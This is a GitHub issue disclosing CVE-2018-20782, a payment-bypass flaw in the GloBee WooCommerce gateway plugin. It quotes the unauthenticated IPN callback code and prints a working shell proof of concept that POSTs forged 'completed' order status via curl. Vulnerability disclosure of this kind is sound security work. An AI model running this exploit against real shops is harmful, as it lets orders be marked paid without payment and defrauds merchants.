-
Notifications
You must be signed in to change notification settings - Fork 2
Closed
Description
CVE-2018-20782
Reliance on untrusted inputs (CWE-807), insufficient data verification and lack of any cryptographic authentication (hmac etc) at IPN callback allow remote (even unauthorized) attacker to bypass payment process and spoof real order status without actually paying for it.
Vulnerable code (fixed in PR #2)
woocommerce-payment-api-plugin/src/Gateway.php
Lines 374 to 511 in 8c254d6
| public function ipn_callback() | |
| { | |
| // Retrieve the Invoice ID and Network URL from the supposed IPN data | |
| $post = file_get_contents("php://input"); | |
| if (true === empty($post)) { | |
| error_log('GloBee plugin received empty POST data for an IPN message.'); | |
| wp_die('No post data'); | |
| } | |
| $json = json_decode($post, true); | |
| if (!isset($json['id'])) { | |
| error_log('GloBee plugin received an invalid JSON payload sent to IPN handler: '.$post); | |
| wp_die('Invalid JSON'); | |
| } | |
| if (false === array_key_exists('custom_payment_id', $json)) { | |
| error_log( | |
| 'GloBee plugin did not receive a Payment ID present in JSON payload: '.var_export($json, true) | |
| ); | |
| wp_die('No Custom Payment ID'); | |
| } | |
| if (false === array_key_exists('status', $json)) { | |
| error_log('GloBee plugin did not receive a status present in JSON payload: '.var_export($json, true)); | |
| wp_die('No Status'); | |
| } | |
| $orderId = $json['custom_payment_id']; | |
| $this->log('Processing Callback for Order ID: '.$orderId); | |
| if (false === isset($orderId) && true === empty($orderId)) { | |
| error_log('The GloBee payment plugin was called to process an IPN message but no order ID was set.'); | |
| throw new \Exception( | |
| 'The GloBee payment plugin was called to process an IPN message but no order ID was set.' | |
| ); | |
| } | |
| $order = wc_get_order($orderId); | |
| if (false === $order || 'WC_Order' !== get_class($order)) { | |
| error_log( | |
| 'The GloBee payment plugin was called to process an IPN message but could not retrieve the order details for order_id '.$orderId | |
| ); | |
| throw new \Exception( | |
| 'The GloBee payment plugin was called to process an IPN message but could not retrieve the order details for order_id '.$orderId | |
| ); | |
| } | |
| $current_status = $order->get_status(); | |
| if (false === isset($current_status) && true === empty($current_status)) { | |
| error_log( | |
| 'The GloBee payment plugin was called to process an IPN message but could not obtain the current status from the order.' | |
| ); | |
| throw new \Exception( | |
| 'The GloBee payment plugin was called to process an IPN message but could not obtain the current status from the order.' | |
| ); | |
| } | |
| $orderStates = get_option('globee_woocommerce_order_states'); | |
| $paid_status = $orderStates['paid']; | |
| $confirmed_status = $orderStates['confirmed']; | |
| $complete_status = $orderStates['complete']; | |
| $invalid_status = $orderStates['invalid']; | |
| $status = $json['status']; | |
| if (false === isset($status) && true === empty($status)) { | |
| error_log( | |
| 'The GloBee payment plugin was called to process an IPN message but could not obtain the new status from the payment request.' | |
| ); | |
| throw new \Exception( | |
| 'The GloBee payment plugin was called to process an IPN message but could not obtain the new status from the payment request.' | |
| ); | |
| } | |
| $paymentApi = $this->get_payment_api(); | |
| $paymentRequest = $paymentApi->getPaymentRequest($json['id']); | |
| if ($paymentRequest->customPaymentId != $orderId) { | |
| error_log( | |
| 'Trying to update an order where the order ID does not match the custom payment ID from the GloBee Payment Request.' | |
| ); | |
| throw new \Exception( | |
| 'Trying to update an order where the order ID does not match the custom payment ID from the GloBee Payment Request.' | |
| ); | |
| } | |
| switch ($status) { | |
| case 'paid': | |
| if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) { | |
| $order->update_status($paid_status); | |
| $order->add_order_note( | |
| __( | |
| 'GloBee payment paid. Awaiting network confirmation and payment ' | |
| .'completed status.', | |
| 'globee' | |
| ) | |
| ); | |
| } | |
| break; | |
| case 'confirmed': | |
| if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) { | |
| $order->update_status($confirmed_status); | |
| $order->add_order_note( | |
| __( | |
| 'GloBee payment confirmed. Awaiting payment completed status.', | |
| 'globee' | |
| ) | |
| ); | |
| } | |
| break; | |
| case 'completed': | |
| if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) { | |
| $order->payment_complete(); | |
| $order->update_status($complete_status); | |
| $order->add_order_note( | |
| __( | |
| 'GloBee payment completed. Payment credited to your merchant ' | |
| .'account.', | |
| 'globee' | |
| ) | |
| ); | |
| } | |
| break; | |
| case 'invalid': | |
| if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) { | |
| $order->update_status( | |
| $invalid_status, | |
| __( | |
| 'Payment is invalid for this order! The ' | |
| .'payment was not confirmed by the network within 1 hour. Do not ship the product for ' | |
| .'this order!', | |
| 'globee' | |
| ) | |
| ); | |
| } | |
| break; | |
| } | |
| error_log('[INFO] Changed Order '.$orderId.'\'s state from '.$current_status.' to '.$status); | |
| } |
Affected versions: ≤ 1.1.1
Tested on: WordPress 4.9.9 + WooCommerce 3.5.1 + GloBee Payment Gateway Plugin 1.1.1
Proof-of-Concept
PoC (php): exploit-db.com/exploits/46414PoC (shell):
#!/bin/sh -
: ${3?$'\n'"Usage: $0 SHOP_URL PAYMENT_ID ORDER_ID"}
url=${1%/}
pid=${2}
oid=${3//[!0-9]/}
echo "Shop URL: $url"
echo "Payment ID: $pid"
echo "Order ID: $oid"
confirm() {
read -r -p "${1:-$'\nAre you sure? [y/N]'} " response
case "$response" in
[yY][eE][sS]|[yY])
true
;;
*)
false
;;
esac
}
payload() {
cat <<EOF
{
"id": "$pid",
"status": "completed",
"custom_payment_id": "$oid"
}
EOF
}
confirm && response=$(curl -s -X POST \
"$url/wc-api/globee_ipn_callback" \
-H 'cache-control: no-cache' \
-H 'content-type: application/json' \
-d "$(payload)"
) && echo "Done: $response"Metadata
Metadata
Assignees
Labels
No labels